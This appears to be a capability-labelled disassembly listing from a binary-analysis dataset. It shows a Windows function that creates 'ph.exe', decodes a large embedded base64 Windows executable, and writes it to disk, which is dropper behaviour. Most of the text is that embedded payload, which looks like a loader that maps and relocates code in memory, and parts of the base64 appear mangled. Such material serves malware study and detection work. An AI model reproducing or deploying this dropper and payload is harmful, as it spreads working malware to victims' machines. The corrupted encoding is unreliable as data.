Function at 0x1400013c0
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x4078
call fcn.140003310
sub rsp, rax
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0x4060], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 3
mov edx, 0xc0000000
lea rcx, str.ph.exe
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
jne 0x140001424
xor eax, eax
jmp 0x14000149c
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x40], 0x4000
mov dword [rsp + 0x44], 0x4aad
mov r9d, dword [rsp + 0x40]
lea r8, [rsp + 0x60]
mov edx, dword [rsp + 0x44]
lea rcx, str.TVqQAAMAAAAEAAAA__8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAyr_rads6UiXbOlIl2zpSJf7YHiXzOlImjo5WIdM6UiaOjkYhgzpSJo6OQiHzOlImjo5eIdM6UiS2mlYh1zpSJds6ViTrOlInpoJ2Idc6Uiemga4l3zpSJ6aCWiHfOlIlSaWNods6UiQAAAAAAAAAAAAAAAAAAAABQRQAAZIYGAMjL5V4AAAAAAAAAAPAAIgALAg4YABYAAAAkAAAAAAAAgBkAAAAQAAAAAABAAQAAAAAQAAAAAgAABgAAAAAAAAAGAAAAAAAAAACQAAAABAAAAAAAAAMAYIEAABAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAAAAAAAAAAACkOwAAoAAAAABwAADgAQAAAGAAAMgBAAAAAAAAAAAAAACAAABEAAAAsDMAADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwMwAACAEAAAAAAAAAAAAAADAAADgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAALgVAAAAEAAAABYAAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAkFAAAADAAAAAWAAAAGgAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAA4AYAAABQAAAAAgAAADAAAAAAAAAAAAAAAAAAAEAAAMAucGRhdGEAAMgBAAAAYAAAAAIAAAAyAAAAAAAAAAAAAAAAAABAAABALnJzcmMAAADgAQAAAHAAAAACAAAANAAAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAARAAAAACAAAAAAgAAADYAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBVU1ZXQVVBVkiNbCTRSIHsqAAAALloAAAA6MUGAABIi9gPV8AzwA8RA41IGA8RQxAPEUMgDxFDMA8RQ0APEUNQSIlDYOiaBgAASIv4SI0VDCMAAEiJfCRIRTPtSIlcJEAPV8BMiWwkODPATIlsJDBFM8kPEQfHRCQoBAAAAEUzwDPJRIlsJCBIiUcQ_xWOHwAATIlsJDBFjUUBRIlsJChIjQ3JIgAARTPJx0QkIAMAAAC6AAAAgP8Vax8AAEiL8EiDP91DkiLD7r______xVcHwAAM9JIi87_FVkfAAAzyYvQQbgAMAAAi9hEjUkE_xVLHwAATI1N50SJbedIi9BIiUUHRIvDTIlsJCBIi85Mi_D_FTAfAACFwHUMSIsPjVAB_xUIHwAASIvO_xXXHgAAuE1aAABmQTkGdBpIiw6______8V5h4AALn______xWrHgAAzEyJpCTgAAAAudAEAABMibwkoAAAAE1jfjxNA_5MiX0f6GkFAAAz0kiJRf9BuNAEAABIi8hMiDoJxMAAEHHRCQwAgAQAEmL1EiLTwj_FageAABIiw4CwEAAGZBOUcYdRe6______8Vbh4AALn______xUzHgAAzEmLlCSIAAAATI1F70iDwhBMiWwkIEG5CAAAAP8VaR4AAEH2RxYBSYuHsAAAAHVVhcB0UUjB6CCFwHRJSI0NiCEAAP8Vh0AAEiLyEiNFWAhAAD_FfIdAABIi1XvSIsP_9BFi0dQQbkAMAAASIsPx0QkIEAAAACFwHUGSItV7tvM9Lra0WLR1BBuQAwAABJi1cwSIsPx0QkIEAAAAD_Fe8dAABIiUXXSIXAdWRIjQ0XIQAA_xWJHQAASIvISI0V7yAAAP8VgR0AAEmLVzBIiw__0IXAdShFi0dQQbkAMAAASYtXMEiLD8dEJCBAAAAA_xWdHQAASIlF10iFwHUSSIsPuv______FVYdAABIi0XXRYtPVEyL6E0rbzBNi8ZJiUcwM8BIi1XXSIsPSIlEJCD_FWQdAACFwHUOSIsPuv______FRodAABBD7dHBkUz0kGL2mZEO9BzZEGL8mYPH0QAAEljRjxIiw9IA8ZMiVQkIEaLhDAcAQAAQouUMBQBAABNA8ZIA1XXRouMMBgBAAD_FQQdAACFwHUOSIsPuv______FbocAABBD7dHBv_DSIPGKEG6AAAAADvYfKVNhe0PhIABAABEiVV3RYvCZkQ70ADbwEAAEmL0kG5ABAAAEiJVfdJY0Y8SAPCQoG8MAgBAAAucmVsD4UoAQAAZkKBvDAMAQAAb2MPhRcBAABCi4wwHAEAAEWL4kmLh7AAAABIiUUXSMHoIIXAD4T1AAAASIlNDw8fQABmZg8fhAAAAAAARYv8QYPECEwDUGL3E0D_kgD2UkD3kGLRwRIggISNHohcAPhKQAAACL8EWNJESQD7cDZkE7wXJSItV10yNRd9Iiw8l_w8AAEEDB0G5CAAAAESL8EkD1kyJVd9MiVQkIP8V4RsAAIXAdQ5Iiw6______8VpxsAAEiLVddMjUXfSIsPM8BMAW3fSQPWSIlEJCBEjUgI_xW8GwAAhcB1DkiLD7r______xVyGwAAQbkAEAAARTPSSIPDAkiD7gEPhWv___9Mi3UHSItND0Q7ZRsPgin___9Mi30fSItV90SLRXdBD7dHBkH_wEiDwihEiUV3SIlV90Q7wAMov7__0yLZf9Ii1XXSI1Ff0SJVX9BuQIAAABFi0dUSIsPSIlEJCD_FTgbAACFwHUOSIsPuv______FeYaAABFM1Bi_VmRTtvBgDvQAAAEGL3UG9gAAAAESNYwgPH4QAAAAAAEljVjxIA9NCi4wyLAEAAIvBJQAAAEAPuuEdcx6FwHQNi8HBBD4CCDwCDrKYXJuBAAAABBD0jF6xyFwHQNi8HBBD4AKDwALrC4XJuAEAAABBD0jERouEMhgBAABEi8hCi5QyFAEAAEEPuukJgeEAAAAESIsPRA9EyEgDVddIjUV_SIlEJCD_FXIaAABBD7dHBv_GSIPDKDvwD4xf____TItl_0Uz7UGLRyhMjUXXSANF10G5CAAAAEmLlCSIAAAASYmEJIAAAABIg8IQSIsPTIlsJCD_FRwaAACFwHUOSIsPuv______FdIZAABIi08ISYvU_xUNGgAAhcB1DkiLD7r______xWzGQAASItPCP8VRkAAEyLpCTgAAAAM8BMi7wkoAAAAEiBxKgAAABBXkFdX15bXcPMzMzMzMzMzMzMzMzMZmYPH4QAAAAAAEg7DUE5AADydRJIwcEQZvfB___ydQLyw0jByRDp5wIAAMzMzEBTSIPsIEiL2esPSIvL6MgNAACFwHQTSIvL6MINAABIhcB050iDxCBbw0iD_90Bug7BQAAzOhVBQAAzEBTSIPsILkBAAAA6KENAADoewgAAIvI6MsNAADoYwgAAIvY6O8NAAC5AQAAAIkY6NwFAACEwHRz6NcKAABIjQ0MCwAA6HcHAADoOggAAIvI6GgNAACFwHVS6DoIAADoeQgAAIXAdAxIjQ0WCAAA6EQNAADoNAgAAOgvCAAA6AIIAACLyOiCDQAA6BoIAACEwHQF6CwNAADo6AcAAOirCQAAhcB1BkiDxCBbw7kHAAAA6EsIAADMzMxIgwo6P8HAAAzwEiDxCjDSIPsKOjXCQAA6K4HAACLyEiDxCjpMA0A
call fcn.140001320
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x58]
mov r8d, dword [rsp + 0x48]
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x4c], eax
cmp dword [rsp + 0x4c], 0
jne 0x14000148c
xor eax, eax
jmp 0x14000149c
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x4060]
xor rcx, rsp
call fcn.140002510
add rsp, 0x4078
ret